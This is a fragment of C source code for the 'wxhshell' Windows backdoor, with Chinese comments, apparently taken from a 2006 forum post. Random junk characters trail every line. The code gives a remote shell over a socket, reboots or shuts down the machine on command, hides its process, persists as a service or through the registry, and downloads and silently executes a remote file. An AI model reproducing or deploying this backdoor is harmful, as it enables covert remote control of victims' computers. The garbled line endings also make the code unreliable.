  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GX&BUP\  
  } kTAb <  
  else { ~_QZiuq&  
X_ne#ZPl  
    switch(cmd[0]) { 36*"oD=@  
  8t!(!<iF0  
  // 帮助 #gMMh B=  
  case '?': { #Bg88!-4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CuR\JKdRo  
    break; ]IoJ(4f  
  } '+?AaR&p?  
  // 安装 ?!U=S=8  
  case 'i': { }BKEz[G(  
    if(Install()) A)kx,,[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]U!vZY@\  
    else f'0n^mSP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aA-A>z  
    break; 4!i`9w$$"  
    } u01 'f-h  
  // 卸载 Ah;2\0|t  
  case 'r': { ^G[xQcM73  
    if(Uninstall()) -X'HZ\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bvuoGG*  
    else `ky< *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2f``48#  
    break; oN)l/"%C7/  
    } 81eDN6 M\  
  // 显示 wxhshell 所在路径 3xxQL,FV  
  case 'p': { pzbR.L}'D  
    char svExeFile[MAX_PATH]; >N@tInE  
    strcpy(svExeFile,"\n\r"); :.'<ndM  
      strcat(svExeFile,ExeFile); &M,a+|yuY  
        send(wsh,svExeFile,strlen(svExeFile),0); l9lBhltOH  
    break; 1"?KQU  
    } x9Fga_  
  // 重启 g34<0%6jd  
  case 'b': { K]Q#B|_T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PEac0rSW  
    if(Boot(REBOOT)) ];Z)=y,vM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <gF=$u|}3[  
    else { _T&?H&#  
    closesocket(wsh); 9h> nP8  
    ExitThread(0); Ve*NM|jg  
    } vH%AXz IA  
    break; z}.y ?#  
    } B8UtD  
  // 关机 |iKk'Rta4  
  case 'd': { >A5R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q1jU{  
    if(Boot(SHUTDOWN)) )uC],CbW{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."&,_F  
    else { IhnHNY]<g  
    closesocket(wsh); Lh3>xZy"-z  
    ExitThread(0); f2Zi.?``H  
    } q9fCoz  
    break; 9<u^.w  
    } 1{+x >Pv:  
  // 获取shell b ?9c\-}  
  case 's': { y_EkW f  
    CmdShell(wsh); D FDC'E  
    closesocket(wsh); kms&o=^  
    ExitThread(0);  W%LTcm  
    break; <"A|Xv'Q  
  } [M>Md-pj  
  // 退出 j1 _ E^  
  case 'x': { Ft%HWGE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j !^Tw.Ty  
    CloseIt(wsh); !Ic;;<  
    break; 2WQKj9iyN  
    } - s[=$pDU  
  // 离开 Gt#Jr!N~  
  case 'q': { s2f9 5<B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VlKy6PSIg  
    closesocket(wsh); G yZYP\'S+  
    WSACleanup(); \~xI#S@  
    exit(1); ?]gZg[  
    break; @C)O[&Sk  
        } lhg3 }dW  
  } T!$7:% D  
  } zb9^ii$g  
h}xUZ:  
  // 提示信息 #1R_* Uh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }aYm86C]  
} 9@AGx<S1  
  } @k~?h=o\b  
 ToNi<~  
  return; 8?] :>  
} T=cSTS!P;q  
U -~%-gFC  
// shell模块句柄 xO'I*)  
int CmdShell(SOCKET sock) ~45u a  
{ E#"QaI8`  
STARTUPINFO si; \C.%S +u  
ZeroMemory(&si,sizeof(si)); 1A^iUC5)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i} 96, {  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P8NKp O\  
PROCESS_INFORMATION ProcessInfo; >JT{~SRB|Y  
char cmdline[]="cmd"; BmYU#h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8)/i\=N3;  
  return 0; GkMNV7"m  
} T#Pz_ hAu  
04tUf3 >  
// 自身启动模式 AIsM:sV]  
int StartFromService(void) -Nmf}`_  
{ KsYT3  
typedef struct A/N*Nc  
{ zO{$kT\r&  
  DWORD ExitStatus; )6)|PzMQ'  
  DWORD PebBaseAddress; j)\&#g0u6  
  DWORD AffinityMask; 7'FDI`e[  
  DWORD BasePriority; X:-X3mV9{  
  ULONG UniqueProcessId; > 7!aZO  
  ULONG InheritedFromUniqueProcessId; _dqjRhu  
}   PROCESS_BASIC_INFORMATION; _5a]pc$\Y]  
YVVX7hB  
PROCNTQSIP NtQueryInformationProcess; 7ka^y k@Q  
OXDlwbwL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ))c;DJc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lp[3z& u  
'R*gSqx~  
  HANDLE             hProcess; /Nq!^=  
  PROCESS_BASIC_INFORMATION pbi; ~J2-B2S!  
322W"qduTZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qv8#{y@U  
  if(NULL == hInst ) return 0; T\c;Ra  
`.;7O27A^%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cb&y8!ci~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t )Z2"_5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]SrKe-*:U  
*F:]mgg  
  if (!NtQueryInformationProcess) return 0; 'R_U,9y`  
D,xWc|V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qt]QO1pAd  
  if(!hProcess) return 0; vVyO}Q`  
)|LX_kyW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /og}e~q  
wlqV1.K  
  CloseHandle(hProcess); u#p1W|\4  
M)Rp+uQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hM\QqZFyp  
if(hProcess==NULL) return 0; Te'^O,C)y$  
hx4!P(o1  
HMODULE hMod; xy mK|  
char procName[255]; qU8UKIP  
unsigned long cbNeeded; VR?7{3  
<6<uO\B\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s cR-|GuZ  
X1<)B]y  
  CloseHandle(hProcess); Y'f I4  
'G(N,vu[@  
if(strstr(procName,"services")) return 1; // 以服务启动 @usQ*k  
+azPpGZ=  
  return 0; // 注册表启动 PB>p"[ap4  
} W/oRt<:E  
N(vbo  
// 主模块 OpxVy _5,  
int StartWxhshell(LPSTR lpCmdLine) yD1*^~loJ  
{ k`g+    
  SOCKET wsl; w2]1ftY  
BOOL val=TRUE; `RGZ-Q{_  
  int port=0; ';aPoaO %  
  struct sockaddr_in door; x(}tr27o  
I.x0$ac7  
  if(wscfg.ws_autoins) Install(); ~ $r^Ur!E\  
W<!q>8Xn?  
port=atoi(lpCmdLine); TeqFy(Dr  
"]c:V4S#`A  
if(port<=0) port=wscfg.ws_port; S-2xe?sb  
IUd>jHp`6  
  WSADATA data; D{N1.rSxv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; { w!}:8p  
b@YSrjJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rA=F:N 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jv2l_  
  door.sin_family = AF_INET; @2$PU{dH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [-6j4D  
  door.sin_port = htons(port); bSz6O/A/  
LV8,nTYvE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d,<ctd  
closesocket(wsl); !LIWoa[ F.  
return 1; asQ" |]m  
} w-/bLg[L?$  
s #L1:L  
  if(listen(wsl,2) == INVALID_SOCKET) { [Hd^49<P2  
closesocket(wsl); *otJtEI>6  
return 1; Yf{s0Z  
} W@wT ,yJ8@  
  Wxhshell(wsl); Gw+z8^|C&}  
  WSACleanup();  EVq<gGy  
(3]7[h7  
return 0; xmiF!R  
R63"j\0  
} t9m`K9.\  
s ^)W?3t]  
// 以NT服务方式启动 FNc[2sI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B/5C jHz  
{ 9!9 Gpi  
DWORD   status = 0; ~S-x-cZ  
  DWORD   specificError = 0xfffffff; ?WAlW,H>  
$%1[<}<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0A 4(RLGg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f[|xp?ef  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *EV]8  
  serviceStatus.dwWin32ExitCode     = 0; :hMuxHr  
  serviceStatus.dwServiceSpecificExitCode = 0; /_}v|E0  
  serviceStatus.dwCheckPoint       = 0; mnil1*-c0  
  serviceStatus.dwWaitHint       = 0; W;KHLHp-  
$wN'mY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tOspDPSXX  
  if (hServiceStatusHandle==0) return; 7FMHz.ZRE  
%{}Jr`  
status = GetLastError(); 3tr?-l[N\  
  if (status!=NO_ERROR) $ng\qJ"HF  
{ ];uvE? 55  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a[(n91J0  
    serviceStatus.dwCheckPoint       = 0; k.lnG5e  
    serviceStatus.dwWaitHint       = 0; mD)Nh  
    serviceStatus.dwWin32ExitCode     = status; 8<]> q  
    serviceStatus.dwServiceSpecificExitCode = specificError; a?JU(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x(S 064  
    return; (9cIU2e  
  } L\-T[w),z7  
q>Q|:g&:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; siD Sm  
  serviceStatus.dwCheckPoint       = 0; &0>{mq}p,:  
  serviceStatus.dwWaitHint       = 0; e9%6+ 9Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Cen5s W&  
} }>Os@]*'^(  
w:umr#  
// 处理NT服务事件,比如:启动、停止 *:&fw'vd,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @#T?SNIL5  
{ p O: EJ  
switch(fdwControl) J|'T2g  
{ c89RuI `B~  
case SERVICE_CONTROL_STOP: 5mFi)0={y  
  serviceStatus.dwWin32ExitCode = 0; :_e.ch:4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ax 3:rl  
  serviceStatus.dwCheckPoint   = 0; Q]|+Y0y}X  
  serviceStatus.dwWaitHint     = 0; .qVdo+M%F  
  { $~:hv7%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @x=CMF15  
  } "n8_Ag@r  
  return; ;l`8w3fDt  
case SERVICE_CONTROL_PAUSE: u@gYEx}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =vK(-h  
  break; _8S).*  
case SERVICE_CONTROL_CONTINUE: %hTe%(e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jp= (Q]ab  
  break; vW4 f3(/  
case SERVICE_CONTROL_INTERROGATE: IvO3*{k ,  
  break; {;-$;\D  
}; hqBwA1](a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |RjjP 7  
} d->b9  
UWusSi3+LG  
// 标准应用程序主函数 PkVXn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jWoo{+=D  
{ /NkZ;<uxJ  
FcWu#}.p}  
// 获取操作系统版本 _n_i*p '2  
OsIsNt=GetOsVer(); v$mA7|(t!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hv`Zc*  
4o=G) KO{  
  // 从命令行安装 A{c6XQR~z  
  if(strpbrk(lpCmdLine,"iI")) Install(); |j!D _j#U  
4 B> l|%  
  // 下载执行文件 /z'j:~`E  
if(wscfg.ws_downexe) { R1 wd Q8q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4({=(O  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,>g 6OU2~6  
} .6'T;SoK>  
J`V6zGgW  
if(!OsIsNt) { 1U9iNki  
// 如果时win9x,隐藏进程并且设置为注册表启动 UG!&n@R  
HideProc(); ;{ezK8FJ}@  
StartWxhshell(lpCmdLine); HwGtLeB"  
} jxoEOEA  
else 9z-"JnM  
  if(StartFromService()) pTN_6=Y"  
  // 以服务方式启动 zCQv:.0L  
  StartServiceCtrlDispatcher(DispatchTable); TxiJ?sDh*  
else DBv5Og  
  // 普通方式启动 pE`( kD  
  StartWxhshell(lpCmdLine); \UC4ai2MK  
b,@:eVQ7  
return 0; 2`},;i~[  
}
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只看该作者 1 发表于: 2006-10-10
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